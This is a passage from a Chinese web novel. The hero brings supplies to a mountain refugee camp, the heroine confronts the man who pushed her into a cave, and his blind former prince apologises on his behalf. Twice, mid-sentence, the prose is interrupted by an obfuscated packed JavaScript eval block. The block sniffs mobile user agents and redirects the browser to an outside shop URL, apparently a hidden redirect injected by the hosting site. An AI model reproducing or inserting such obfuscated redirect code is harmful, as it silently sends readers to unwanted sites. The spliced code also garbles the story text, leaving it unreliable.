脑里走马灯似的全是栖真。既然她关心这群人,他自然也会上心,可本质上,他在乎的只有栖真一人。 他很累,真地很累很累。 还能把人抱下山,全凭吊着一口气,否则在山顶他就倒了。 毕竟一整个白天御剑飞过戈壁全域,寻到三座山脉,翻山越岭,就为尽快找到那个极具特色的山峰。 可第一座大山,没有。 第二座山脉,也没有。 第三座就很诡异。 此地御剑无法靠近,这座山周围全是气流,会让所有想从空中接近的御剑改变方向。只好徒步上山,翻过两处山头,才终于找到那个标志性的三峰。 一想到自己下到洞底,见到洞角小小的、缩成一团的人影时,风宿恒心都要碎了。 他疯狂寻找的救命恩人,他心间的瑰宝,捧在手心都怕化了的人儿,就这样被无情地扔在荒山野洞里自生自灭。 把她拥进怀里的那刻,栖真明明在哭,却虚弱到只能发出轻微的呜咽,他真是将心里涌上的狂暴和肆虐全数压住,才没让自己在她面前失态。 不敢去想,若他没有看到城墙上的文字,若他没能及时找到这处隐蔽的地洞,那么再过一天、两天,栖真将遭遇什么? 只要一想到那些画面,当初抱着沈兰珍冰冷尸身的感觉又翻涌上来,让他浑身发颤,像荆之誓言仍缠绕心间,尖刺戮进心脏一般杀他。 夜深了,众人回帐歇息,营地里只剩风宿恒一个,他把手盖住眼。 那是难以抑制的后怕,也有感恩上苍的庆幸,归根结底还是心疼坏了。 好在他终于找回她! 累到睡去前风宿恒想,这次他得看好她,一定得看好,绝不能让人再受这种委屈了。 隔日一早,风宿恒和每个人打招呼,说今日下山弄东西,问大伙儿要什么。 容绽根本不说话,山遥摘着菜,阿陶烧着粥,都不搭腔。英迈和张典欲言又止,最后还是摇头拒绝。倒是成校主动巴上来,问能不能搞点大米,整日吃野味嘴巴都上火了。最后还是那个叫栾乐的小男孩,怯生生叫了声叔叔,问可不可以带点糖,就那种最最便宜的绵白糖。 风宿恒最后找到柳絮回,开门见山报了一长串,最后又自说自话地问还要加什么? 柳絮回听完不是不心动,毕竟他们在山上日子不好过,下山也无钱采买,可她不想莫名受人恩惠,冷冰冰扔下一句:“你们要什么就自己弄,不用管我们。” 风宿恒原本也不求她轻易接受,事先说一遍只为周知。 给人期待是撬开心房的捷径,直接把东西拉到跟前再问人要不要反而流于冒犯。 风宿恒深谙此道。 是以他一点不以拒绝为杵,轻松问人要了野菜粥,弄了热水,等栖真醒来帮她洗漱,把人喂饱,嘱咐她不许乱跑,才一步三回头地离开。 他最快速度回永嘉道,让倪煌收拢人,自己则带人赶回朝阳城。 袁博他们得知找到栖真都高兴坏了,聂灵鸢和颜心立马想上山,风宿恒却道:“你们先在城里住下,以便接应。” 袁博指自己,问,我呢? 风宿恒道,有事交给你办。 袁博应下,却问:“主母真要住荒山?要啥没啥,怎么住啊?” “她要住哪儿就住哪儿。”风宿恒道:“但那地方确实怪,御剑没法靠近,山上也使不出法术。” 袁博和聂灵鸢面面相觑:“使不出法术?” “和神明大宫一样,在山界范围内,体内神识无法调动,可出了山又好了。” 幸亏他易容用的不是法术,但在山上用不了法术这事确实让人头痛,否则昨晚他就用疗愈术给栖真治伤了,怎会等到现在? 用不了法术,代表很多事得亲力亲为,袁博急道:“陛下乔装,我也可以!我也找理由上山行不行?劈柴烧水不在话下,粗活总不能让陛下动手啊!” “惊弓之鸟,得先稳住。”风宿恒道:“不急,慢慢来。” 不多时东西备齐,风宿恒心有所系,先行离开。袁博目送马车远去,对聂灵鸢哀声:“都什么事啊!他俩到底怎么想呢?” “主母怎么想我不知道。”聂灵鸢笑道:“陛下嘛,我看还挺乐意。” “乐意跟主母茹毛饮血,过一把当野人的瘾?”袁博翻白眼。 “木鱼脑袋!”聂灵鸢听他说话就来气:“这叫金屋藏娇,陛下心里可美着呢。” “哪来的金屋?”袁博不想对主上不敬,但他真不明白:“好不容易苦尽甘来,这待遇,也不怕主母不跟他过?” 聂灵鸢气笑了:“辛丰大皇子去世的消息传遍中土,陛下乍然生还,正愁没地方去。如今是主母不愿下山,不是陛下不愿下山,他不乐得在山上陪她?你啊,别以为自己闲了就能回万丈城。陛下向来走一步埋十步,哪次不是看不懂他做什么,最后又惊呆众人?我有预感,后面有的你忙。” “我也有预感。”袁博不落人后地瞪她:“别以为住山上就用不着麒麟穴,你家子鉴等着,后面怕有的是地方花银子。” ………… 栖真早上起来仍不舒服,胃痛,肚胀。 喝完粥,送走风宿恒,她实在忍不住,找个地方上吐下泻。 不用说,必是昨日生鱼吃坏。但她只觉庆幸,还好风宿恒不在,要是让他见到她这副鸟样,真的脚指能抠出三室一厅来。 在河边漱了口,她腿软地回营地,捂着肚子在山道上挪,见前方有个身影。 那人也像从什么地方回来,正往营地去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13034844|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 栖真叫了一声:“阿遥。” 山遥回头看她一眼,也不说话,继续走。 栖真加快脚步和他并行。 今日阳光明媚,山间颇有鸟语花香的春意,让人觉得昨日洞底不过南柯一梦,说它没发生过都行。 “是你吧?”栖真目视阳光浮沉,绿叶吐新,淡淡道:“把我推下去的人,是你。” 山遥面无表情,像听不懂她在说什么。 栖真道:“昨日你在溪边见我,下意识去看洞的方向,你自己都没察觉吧?若非是你,怎会这般反应?” 山遥鼻间一哼,募然开口:“你不怕吗?” 就是变相承认了。 困在洞中时,栖真猜想过凶手是谁,一个个排摸,山遥是她最先剔除的,直到溪边见之,她才恍然。 山遥哎! 为何是他? 记忆里的司财之子、太子伴读,热情、坦率、爱笑。纵使历经坎坷变得沉郁,但如此心狠手辣,还是山遥吗? “为何推我?”栖真盯着他问。 山遥瞥她一眼,眼里有探究和判研,唯独没有愧疚。 他冷声问:“你图什么?” 栖真被问愣了:“我图什么?” 山遥道:“不图什么你这么殷勤?给我们做牛做马?” 栖真理了理他的思路:“你的意思是我对你们太好了,无事献殷勤,非奸即盗,所以你先下手为强,要除掉我?” 阴暗心思就该藏在不见天日的角落独自发酵,这样被拎到光天化日下就显得幼稚,山遥恼羞成怒,大声道:“对!你不图什么,为何这样?” 什么无厘头的逻辑? 你疑神疑鬼便能暗下毒手? 栖真怒道:“我图什么一早就说过,图你们吃的,图你们睡的,图我能在这里活下去!” “可我们不欢迎你!” “我都帮你们带孩子了!” “谁要你带孩子!我们没手没脚,不会自己弄?” “阿絮可没这么说!” “她不说,我来说!” “你能代表所有人?” “我就能!你要没问题,现在干吗不走?有人来接了,为何不走?” “我想走就走,不想走就不走,关你什么事!” “你非要和我们挤在一起,就碍了我们的事!” “这山你开的?你们来得,别人来不得?” “山那么大,你离远点不行?” “对!就不行!你们家财万贯,绫罗绸缎!我脑袋被门挤了,尽往你们这里凑!” 栖真气得浑身发抖,不行了,肚子又疼,忍不了了,转身就往山上跑。 山遥……… 吵到一半,人怎么跑了? 可吵了半天有什么用?两人纯发泄似地一通对吼。 山遥胸膛起伏,梗着脖子想,我没错!我哪里错了?这世上就不存在没有目的的接近,就不可能存在没有目的对一个人好。当年他不懂事,听信谗言,连自己主子被掉包都没察觉,还开开心心把敌人往家里带,结果呢? 国破人亡,死的死伤的伤,而他们这些九部相,有家归不得,五年来到处躲藏。 不!他绝不能让这样的事重演。 管她那么多!他们食物有限,接济不了别人,栖真知他敌意,便会害怕地离开吧。 山遥咬牙,准备回营。 转身,便见山道旁步出一人。 见到那个身影,山遥呼吸一窒,踌躇间唤了句“殿下”。 他们已经很久不叫他“殿下”了。 这两字,在外面无论如何不能出口,但山遥每次和容绽私下相对,还是会固执地唤他一声“殿下”,仿佛这个称呼在,一切就维持原样——他仍是至高无上的神官长大人,而大容仍繁华盛景、盛世太平。 容绽目不能视,平时总闭着眼,但此刻山遥心下惶惶,觉得静静站在面前的人,仿佛一眼就能看穿他。 “阿遥。” 容绽叹息,像不知从何说起,又像微微心痛。 山遥垂首,盯着脚下半覆青苔的石阶:“殿下……听到了?” “没必要这么做。”容绽道:“她只是个弱女子。” 山遥神情骤然冷下来。 没关系,脏手的事我来,不劳您费心,所有可能威胁到大家安全的隐患,我都不会放过。 山遥沉默。 “今早阿絮跟我说她真实来历,栖真,也出身付春名门。”容绽娓娓道:“都受人迫害,都家破人亡,连敌人都是同一个,遇着了,能帮一把帮一把吧。” 山遥惊讶,栖真原来和他们经历如此相似?难怪她气质长相根本不像普通百姓,若是贵族出身,得一兽魂守护好像也说得过去,最重要的是,害她家破人亡的元凶,竟然也是同一个? 一想到那人,山遥只觉万蚁噬心,每寸血肉都浸着滔天恨意。 “这些阿絮怎么知道?”山遥心潮起伏,恨声问。 “她随从说的。” “他说我们就信?”山遥口气执拗。 “可以不信,但也不必加害。”容绽道:“就像,我们从没怪过你一样。” 山遥浑身一震,吃惊地看向容绽。 容绽为何这样说? 难道他早已洞悉五年来自己深埋心底、从未与人倾吐过的自责? 容绽却像言尽于此,转身下山。 经过几日摸索,他已熟悉这条山道台阶多高,每步下去要抬多高的脚,只要拄杖慢走,这条路对他已经不成问题。 山遥目视那道清瘦背影远去,心头陷入茫然。 他们都很惨,但较真说,容绽才是所有人里最惨的那个! 江山易主、父皇身死、师父重残、弟弟失踪,而他自己也被取丹废去一身修为,在那场大屠杀中双目失明。 明明惨到不能再惨,可为何这男人还能云淡风轻地道一句,我们从没怪你,我们也可以选择不加害? 大容人就是太善良、太闭塞,浑不知外界人心险恶,才会被一锅端! 命运教做人。五年来他们全部心神扑在生存上,与天斗、与人斗,所有人都变了太多,心境不可能再回到从前。 山遥知道自己画地为牢,鲜少和人交流心中所想,而容绽也是每日静坐,除必要对话从不多置一词。可没想到他自以为的心牢,早被容绽一眼看穿,而对方心中,根本不像他想象的那般阴暗。 呵,容绽为何仍能活得像个老大容人,不偏执、不黑暗、不狂暴,还能于尘世投下善意? 这样的人,本该如山间春风般熨帖,山遥却几不可查打个冷战。 他赶上去,轻声道:“殿下,我扶您。” 容绽像呼吸般自然地伸出手。 137. 第 137 章 胃酸吐光,只剩软成面条的躯壳,栖真趴在自己的小帐子里,很有些鸵鸟心态。 随它去吧!人有自愈力,只要躺不死,总能活过来。 ……英迈捕鱼回来,抱怨今天鱼又不大,不够吃,快没粮了,希望阑珊和阿陶能打到猎物…… ……絮回做着淘洗,说太阳好,让阿月出来走走,你把她垫背拿来晒。成校说我杀鱼呢,忙不过来…… ……典叔问,天都没热,林里就有蚊虫,配点驱虫药行不。董未喊我带阿月出来,然后回典叔,难啊,我再到山里找找草药…… ……栾乐和栾音应该就是千林镇上栾府的两位小公子,都这么大了,他们怎会和絮回他们在一起?兄弟俩声音脆生生的,在营地里最易辨识。栾乐说,阿遥哥,小宝有名字了吗?你看他还干巴巴,好难看。山遥不知回什么,听不清…… ……稍远些,有疯颠的笑,笑一声,停一下,又笑一声……那是常璐,一直被关在帐子里的常璐…… 栖真阖眼静听,任浅浅念头自由来去。 ……山遥对她敌意明显,其他人呢?其他人是否也想摆脱她,或者也仍打心底不接纳? ……以为自己努力,他们会有改变,原来是她一厢情愿…… ……风宿恒……风宿恒太好了,愿意迁就她无理的要求,甚至愿意帮忙从山下弄东西,就为她一句“不想离开”。 ……可现状能维持多久?他可以迁就一天两天,还能迁就一年两年?他早晚会知道真相,区别在于他自己发现,还是她主动告知。 ……坦白吧,把一切告诉他……他会帮她的不是吗?他能御剑,可以带她从天上走。 ……还有,他活过来她很高兴,但之前的账还得跟他算。算完后……嗯……那个……可以… 可以什么? 阳光透过帐子缝隙晒上脸,栖真往暗处缩,觉得有点热。 ……风宿恒在,就没什么困难过不去……昨日兵荒马乱,她身体也不舒服,而现在…现在她好像更不舒服了…一想到他,她就臊得慌…啊…明明那么倾慕…可他真地来,真地到她身边,她又想躲开…… ……不想他看到她昨晚那样,因为被讨厌被误会,不得不在众人面前自白……不想他今早那样,撩开帐篷,见她睡眼惺忪、衣衫不整的模样……不想他见她上吐下泻的困窘……不想他找到她,发现她居然活得像个野人……他化身小白时,亲眼见过她为赚钱不得不拉下自尊到处求职,她以为那便是他见过她最囧的模样……没想到,没有最囧,只有更囧……不,她不想让他看到这些……但怎么办,她太渺小,太没用……她在这个世界毫无根基,可她仍想活得有点尊严……尤其在风宿恒面前! ……营地外好像没声音了,怎么回事? ……有人往这边来。 ……一定是风宿恒回来了,所以外面才会瞬间消声。 果然,风宿恒在帐外轻唤一声。 ……啊,不想睁眼……当我睡着行不行? 眼皮一亮,是帐子被撩开,脸上有了手指的触感,栖真几乎能想象风宿恒怎么凝视她。 “栖真。”风宿恒怕惊扰,只是很轻地叫了一声,仿佛只是确认她有没有醒。 装睡她最拿手了,平缓的呼吸,静止的眼皮……她天生就会……像这般睡过几百年。 暗下来了,帐篷又遮严实,脚步声离去,风宿恒的声音道:“马车在山下,哪位大哥帮个忙,搬点东西。” 栖真终于敢放重呼吸,微微睁眼。她不知自己为何装睡,就是、就是一听他回来,有点紧张。 她一面舒缓激烈的心跳,一面细听外间动静。 他到底带什么回来了? 几人去而复返,营地里叮玲桄榔,又去而复返,来回三次才搬完。 几个孩子兴奋大叫……哇,水缸!恭桶!水盆!木桶!暖壶!被子!啊啊啊,这是什么,那是什么…… 她都忍不住想出去看一眼。 于是栖真一骨碌爬起,整理衣裳,走出帐去。 营地入口处,英迈、成校、典叔、董未和三个孩子把东西和风宿恒团团围住。絮回还在火边搅粥,不时看他们一眼。而容绽只是坐在石上晒太阳,没什么表示。 风宿恒径直过来,问:“吵醒你了?好点吗?” 栖真低头,点头:“好多了。” 风宿恒又问:“午时都过了,饿不饿?” 饿又咋样?吃了又要吐!栖真忙摇头:“不饿。” 风宿恒指着那堆东西,笑道:“来看看,我带回来的。” 栖真跟过去看。 两个齐腰高的大水缸,一个里面放满蔬菜瓜果,一个里面满是肉米粮油。 旁边是四个崭新的恭桶,桶里塞满锅碗瓢盆。 还有套在一起的四个大木盆,盆里至少叠着七八层朴素的棉被。棉被上还放着四个暖壶,四个小木盆,盆里塞满各种黄纸药包。 最旁边,则是一堆长棍子和卷在一起的油布,不知派什么用。 栖真一看那四个塞满锅碗瓢盆的恭桶,忍不住笑出来。 风宿恒拭汗,对几个男人道:“那些店家帮我搬上车时还问我是不是要逃难。” 董未和成校也跟着笑,尤其董未,看着那些药包不停问:“什么药?” 风宿恒把麻绳解开,把放药包的盆递给他:“劳烦小哥看看,我也不懂配啥药,就想着山上虫豸多,又容易吃坏肚,让药铺按常用的方子各开几剂。哦,还有纱布、药酒、金疮药,有备无患。” 董未见盆里居然有煎药的小炉子和药罐,瞬间两眼放光,像得了武器的士兵,“这个能给我吗?” “小哥懂医啊?”风宿恒笑得爽朗:“都给你保管。” 董未眉开眼笑:“懂点,懂点。” 风宿恒拉过他,轻声道:“我家小姐受了伤,小哥帮忙看看?” 董未连声答应,风宿恒轻推栖真,让她去旁边坐,让董未上药。 手脚上的擦伤有点重,栖真撩开衣袖让董未处理,心思却放在风宿恒身上。见他邀英迈、成校和典叔帮忙,商量腾地方,用那堆棍子和油布,搭出两个八平米见方的帐子来。 “谢啦,兄弟们。这个放恭桶,当茅厕,大家一起用。那个得给我家小姐。”风宿恒拍了拍英迈。 “这种帐子不好搞吧?”典叔把锅碗瓢盆从恭桶里取出,这么多碗,总不见得就他俩用:“还能弄到不?” “是不好搞,朝阳城买不到。”风宿恒道:“我有个兄弟在修永嘉,都是工地淘汰的,才给我偷偷匀两顶。改明儿我下山再问问,争取给大家都弄来。” “哎哎,你兄弟多!”典叔面上更殷勤,手脚麻利起来:“可麻烦你。” “别说客气话。”风宿恒道:“你们照顾小姐,我感激还来不及。” “现在这……你俩,正好一人一帐。”典叔捋着筷子:“那么多天下来,我们哪需要茅厕?” “我也跟人唤您一声典叔。”风宿恒附耳:“咱们大男人不要,女孩子家还不要了?再说,真起夜,也不用往远里跑。” 典叔很是欣然同意,夸他想得周到。风宿恒便道:“有了水缸,木桶、暖壶,就不用次次去溪边,咱们多屯点水,典叔看怎么样?” 典叔眉开眼笑。 风宿恒又招呼柳絮回:“水打回来得有地方倒,先把缸里吃的清出来,你帮忙点点,看看今儿够不够烧顿好的。” 栖真见柳絮回扁扁嘴,仍想拒绝,到底没说出口,和风宿恒一起把缸里的东西一份份往外拿。三个小的围在一边,他们拿一份,小的就笑着报一个。 所以栖真很快就知道风宿恒带什么吃的回来……杀好的四只鸡、四只鸭、半只猪、白菜、青菜、芹菜、蘑菇、大米、面条、油盐酱醋……反正齐活。他最后从缸底掏出一包糖,扔给栾乐:“你要的。” 栾乐乐坏了,拉着钟情跑到一边:“有糖了,有糖了,舔一舔?” 柳絮回正把东西往灶区拿,斥他:“烧菜的糖,舔什么舔!” 栾乐拿着那包糖,啊啊两声,有些失望。 风宿恒把糖从他手里拿走,扔给柳絮回,害她差点没接住。 取而代之,三根包着红纸的锦糖塞到栾乐手里,风宿恒道:“乖,那个给你姨烧饭用,这个给你们当零嘴。” 栾乐笑,说声谢谢,拉着栾音钟情分糖去。 柳絮回把食材放进几个编好的草篓子,回头道:“我不是姨。” 风宿恒也帮忙搬,嘿一声:“他们叫你姐?” “他们就叫我阿絮。” “好啊,阿絮,那我也这么叫。”风宿恒不在意这个,两三下把食材搬完。 董未帮栖真清理伤口,涂上药酒,对场中努嘴:“你府上家丁?” 栖真正看得不错眼,嗯一声。 董未道:“看这大哥人高马大,心倒细,会笼络人。” 栖真这才回头对他笑了笑。 “我听说了,你的事。”董未手下不停:“能碰上就是有缘分。咱们也不知在山上待多久,只要待一日,你就跟着一起过吧。” 栖真咬唇,绽出个笑,真心道:“谢谢。” 明明睡多了,一缕额发还不着调地翘着,董未仍被她骤然绽开的笑容靓花眼,有点不好意思起来,裹纱布的动作都轻柔了。 栖真刚来那会儿,他就忍不住瞄一眼,再瞄一眼,觉得她好看。可那时大家排挤她,他也没胆接近,只能偷眼瞧。 现下好了,可以光明正大和她说话。董未叮嘱道:“荒山野岭,以后别一个人乱跑,出事都没人知道。好了,我看下腿。” 栖真撩起裤腿,小腿肚、膝盖上也有伤。董未蹲在面前,几不可闻吞咽一下,若不是有伤,这腿真得好白好直好好看……他正要涂药酒,身后有人道:“我来。” 药酒被拿走,风宿恒蹲下,样子还挺好学:“这样涂?” “对,这里,还有这里。”董未心里莫名不爽,指着几处。 风宿恒不着痕迹挪身,把他视线挡住,自己却抬头瞅了栖真一眼,笑一下,然后认真给她上药。 那笑容就她能看到。 栖真脸又热了,热得腿上刺痛都没察觉。 风宿恒手脚快,帮她裹好伤,才小心翼翼把裤腿卷下:“明天再涂一次。” 阑珊和阿陶垂头丧气回来,今天什么猎物都没打到,可一进营地阑珊就哇哇叫:“那么多东西?” “阿畅山下带的。”董未语气轻快。 他熬上药,亦步亦趋跟风宿恒去烧饭。如今贫农变豪门,四个火架同时开,典叔和成校在旁边,一人一个木盆,洗碗和暖壶。 风宿恒不让动手,栖真就在旁边看,闻言一个激灵。 阿畅? 她看着炒菜的风宿恒,对啊,不能当人面唤他“宿恒”,但怎么称呼,他俩根本没串通好! 可是……阿畅? 这名字于别人只是代号,于她,却比“宿恒”两字更亲昵,栖真掐着合谷想,她还没叫上,别人到先叫了。 美食是最好的缓和,能最快速度消除隔阂。篝火旁你一言我一语,也是相遇来最和谐时刻。那香味,那气氛,甚至把慕容烟月都引出帐子。栖真忙给她戴兜帽:“坐月子呢。” 慕容脸上缺血色,双眼无神,可她在篝火边静静坐一会儿,听旁人叨叨以后怎么分工,隔几天洗澡,鼻间嗅着菜香,整个人也松乏下来。 有人到她面前,递来一只大碗。 碗里铺着香喷喷的白米饭,饭上码着一半碧绿油青的青菜,一半香喷喷的红烧鸡块。 她回神,看向给她递碗的人。 这是一个高大的陌生男人,有一张老实巴交、略显粗犷的脸,脸上有温和的笑。他把左手的碗往她手里一塞,把右手的碗递给旁边的栖真。 慕容看了眼他递给栖真的,饭上全是叶菜,一块鸡都没有。 慕容心里啊一声。 她整日躺于帐中,可外面事也听在耳里。 没想到这家仆优待她,而给他小姐……一碗青菜! 栖真拿到那碗饭,松口气。她这肠胃,现下真吃不了油腻,于是慢吞吞扒几口,推说吃不下,拿着碗踌躇。 要平时,吃不下倒了也就倒了,可现下山上物资紧张,这些粮米都是风宿恒从山下运来,这时要剩饭只怕让人侧目。 “小姐,你就吃这点啊?我没吃饱呢!”风宿恒直接把她碗里的剩饭倒在他碗里。 “别浪费啊!”他做出个“真是的,就你娇气”的不爽表情,坐回去大口吃起。 在旁人眼里,不过就是仆人抱怨一声主家,然后多贪口饭吃……栖真却被他这顺理成章的举动弄得心快跳出嗓子眼。 风宿恒吃她剩饭……? 他他他……堂堂大容王,辛丰大皇子! 顶着臊,栖真把碗放水盆里。风宿恒像身后长眼睛,叼着筷子回身:“放着放着,我洗。待会儿你们把碗都放这儿,我一起洗。” 絮回道:“你今日又带东西又烧饭的,我们来洗。” 风宿恒搅着大勺在锅里找,锅底只剩最后薄薄一层汤汁,什么肉都没了,他迸句粗口,付春男人都会的那种,笑道:“不够吃,看来下次鸡得带十只。再带点啥?鸡蛋?哎,我们索性养几只鸡,每日都有鸡蛋吃。” 董未支持:“好主意!养上二十只鸡,每人每天都能吃上一个蛋。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047177|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 絮回蹙眉,咳一声。 被风宿恒的大嗓门盖过去:“什么鸡每天能生蛋?十八口人,至少得三十只鸡!这营地人都待不下,还养鸡呢!另找片开阔地吧!山顶咋样?我看那地方又大又好。” 典叔道:“我觉得阿畅提议好!住山顶,离溪近,省得每日打水走山路。” 成校一拍大腿:“咱们开垦啊!下次阿畅带菜苗来,到上面种!” 絮回啪地把碗一放,扫众人冷声道:“谁说要上去住?” 她不是此间年纪最大的,但当了几年头,有积威,大家就不多话了。 栖真放了碗也没走,此刻温声道:“我也觉得住上去是个好主意,当初缩在这里只是权宜之计。上次我们不是说过,既然住了,就不能今日淋雨,明日挨风。不如趁现下开春,好天气多,尽快造个房子。下面建不下,山顶地方开阔,别说我们几号人,上百人都能住下。” 风宿恒回头看了看她,才转头对众人道:“大荒流风多,我们猫在半山腰,万一飓风,上面塌方怎么办?” 柳絮回不说话了,可她吃完,却对风宿恒道:“谢谢你今日费心。这倒提醒我,大荒流并非常住地。等阿月做完月子,我们就下山去。” 栖真扶慕容回帐,出来就见董未端碗来。 “来,喝药。” “药?”栖真看着那碗黑漆漆的汤汁。 “你家阿畅让我煎的,饭前就煎着了,他说强身健体去湿气。” 栖真看看药,又看看对面风宿恒洗碗的背影:“就我喝呀?” “他就交代给你一个人喝。”董未道:“快喝了,他们还洗碗。” 栖真端来喝完。 呃,苦…… 董未拿着空碗去给风宿恒,他抬头接过,回首对栖真笑一下。 什么呀……栖真抱孩子在营地散步……喝什么去湿气的药,她现在最需治腹泻的才对。 “栖真。” 这么走了两圈,就听身后有人叫。 真难得!栖真过来:“阿绽?” 容绽还坐在石头上,也不知他怎么感知她晃到附近,一叫一个准。 栖真:“叫我?” 容绽起身,正正面对她:“我有话跟你说。” 太阳打西边出来!栖真道:“你说。” “对不起!”容绽顿了顿,开口道:“阿遥一时糊涂。” 他知道了?栖真直接道:“他糊涂,为何要你来道歉?” 容绽被她问得一噎,半晌才道:“我们一起的,他做错事,我代他道个歉也是应该。” “谁做错,谁道歉。”栖真目光一转,在营地里找山遥。没找到,吃完饭人不知哪里去了。 栖真看回容绽,语气缓和些:“错又不在你。” 容绽缓缓道:“他并非心肠歹毒之人,他为了我们才做这样的事。” “我明白的,我想明白了。”栖真道:“你们一定遇到过很多不好的事,有很多人要加害你们,所以你们成了惊弓之鸟。但凡有人对你们好一点,你们就会想,她有什么目的,她图我们什么,她是不是心怀不轨?” 栖真说的没错,但这么咄咄逼人,容绽不知怎么回了。 絮回又说要走,万一他们真走,自己只怕没机会跟容绽这般借机道歉了!于是栖真道:“可是阿绽……” “我是生气,但我并不怪阿遥。我以前也做错过事,伤害过人。后来才发现,我的所作所为给别人带来很多不好的后果。我很后悔,想尽力弥补。所以我想或许阿遥现在也后悔。他如果来道歉,这事就一笔勾销。可我当初犯下的错,只怕我道一百个歉都不会被原谅。所以阿绽,你别给我道歉。别人都可以,就你不用。” 容绽脸上闪过疑惑。 栖真是在表达,在她心中他与旁人不同,旁人可以道歉,就他不必?但为什么呢?他们明明在讲山遥,怎么扯到他身上来了……容绽不明白。 “阿绽,不过还是谢谢你,你愿跟我说这些,谢谢。”栖真道。 “应该的。”容绽道:“你帮我们良多。” 栖真笑:“你该多和人说说话,看你整日一个人闷着,像在参禅。我都怕你今日不肯吃那碗饭。” 容绽眼皮翕动,眉头微蹙:“为何这么觉得?” “就是……就是,得道高人,不食嗟来之食。”栖真不知怎么说。 得道高人容绽静了片刻,道:“我能分清好意和嗟来之食的区别。” 栖真放心了:“那便好,我就怕……” 怕什么没来得及说,怀里宝宝不舒服地扭动,嘴里嗯嗯啊啊。 栖真一摸襁褓,果然尿了。旁边就是大石,她把孩子放上面,揭开襁褓,将尿布取下:“来,扶一下,我去拿尿布。” 容绽太清冷,清冷地不沾地气,难得今日他愿意打开心扉,栖真就想他多走出来,才让他帮忙扶孩子。 干净尿布都在两棵树间用草茎编出的晾衣绳上挂着,栖真立马取来,正要换上,谁知死孩子一泡残尿,一下射她衣服上,直让栖真轻呼。 容绽不知发生何事,将栖真拉开,于是剩下的尿就全哔在他胸口。 栖真………… 容绽………… 死孩子尿完不知足,洪声大哭。 这一哭,所有人都看过来。 栖真没注意别人,她实在憋不住,哈哈笑出声,一面换尿布一面道:“这可好,一下射俩。” 大概是胸口的热意或那不知怎么形容的气味让容绽也意识到发生了什么事,一时有些无措:“这……” 栖真回头,见容绽脸侧还溅着一滴。 翩翩公子脸上有童尿,感觉实在不配,都不敢跟他说,下意识抬袖就帮他擦了,一面笑一面道:“去换衣服。” 容绽听栖真笑,想象两人窘态,也忍不住笑出来。 栖真把襁褓包好,一手抱孩子,一手拎尿布要走,见容绽还傻站着,便道:“还不快去?” 英迈呆地忘了洗碗:“我眼花?刚刚阿绽是不是笑了?” 成校碗也差点拿不住:“没眼花,我也看到了。” 天,他们五年没见容绽笑过……不,不仅五年……过去在宫里,他们又何曾见他笑过? 刚才发生什么事了? 铁树开花了? 成校对风宿恒竖大拇指:“你家小姐厉害!太厉害!居然能让阿绽笑。” 风宿恒掉回头,继续洗碗,哼一声:“什么天皇老子,笑一下还天塌了?” 成校摇头:“你不明白。” 风宿恒心想,我有什么不明白? 这人过去就这样! 一碰上栖真,冰山就融化了。 138. 第 138 章 用完午膳总是闲暇时间,午睡的午睡,溜达的溜达,营地里安静下来。 宝宝下午入睡时间渐长,栖真也好趁此补眠,风宿恒却拉她去新的毡帐。 “住这儿吧。” 他撩开帷幔,邀她进去。 帐里挺宽敞,地上铺着两层油布。角落里有只小盆,盆里两条新布巾、一套牙粉和骨质牙刷、一支木簪。木盆旁放着双新的软底青布鞋。往内,衔接着一床被子,铺到帐篷四角。 “哇!” 住了几日身体都伸不直的狗窝,乍看此处,干净、宽敞,让人眼前一亮! 栖真将宝宝放到被上,让他好好睡,自个儿蹲身翻了翻被底。 “下面铺了油布,不会泛潮。上面垫了两层被褥,否则硌得慌。最上面这条可以盖。开了春,夜间还是挺凉的。”风宿恒也蹲下来,翻着下面一一跟她讲。 栖真看向床头两个枕头,瞬间不淡定了。 风宿恒笑:“给你一个人住的,没别人。多一个枕头可以靠。” “你住哪儿呢?”栖真小声问。 风宿恒声音也小下来:“睡外面,守着你。” “露天啊?” “被子一裹,不冷。” “不多带个帐子?” “会有的。” 帐里有些暗,就帷幔岔着缝,透进一条光线,投在青色的被面上。风宿恒把放在那儿的一个布包拿过来:“打开看看。” 栖真坐到被褥上,解开布包的结。 “衣服?” 最上一件,白纱的,乍入眼还挺好看,栖真双手举起。 风宿恒蹲到面前,道:“给你备的…” 他们同时说不出话了,像两只被卡住脖子的鸭子。 她手里举着的白色纱裙,几乎薄到透明,只在一些不可描述的地方绣着鲜艳的红梅,一眼看去,纯中带欲,妖娆撩人。 栖真瞪大眼,这是……情趣内衣? 风宿恒送她一件……情趣内衣? 像被烫到一样扔床上,栖真垂头,羞的不知往哪里看。 风宿恒也意外极了:“不是我!我让灵鸢备的,她大概误会了。” 他伸手取过布包,翻开看。 栖真羞恼:“还看!” 风宿恒把下面的翻出来:“这才是我让她给你备的,那件真不是。” 栖真瞄一眼,果然下面都是正常衣裳。几套布衣,干干净净,沁着清香。 聂灵鸢! 是误会,但浑身发烫无法消减,好像那薄纱和红梅还在眼前晃。 “那个拿走!别放这儿!” 风宿恒却往前倾:“拿哪儿去?我抱着睡?” 他靠太近,栖真只好往后躲:“扔了,带下山,怎样都行!” “你又知用不上了?”风宿恒在她耳边絮语。 犯规!太犯规!这分明是他原声,风宿恒居然把嗓音变回来。 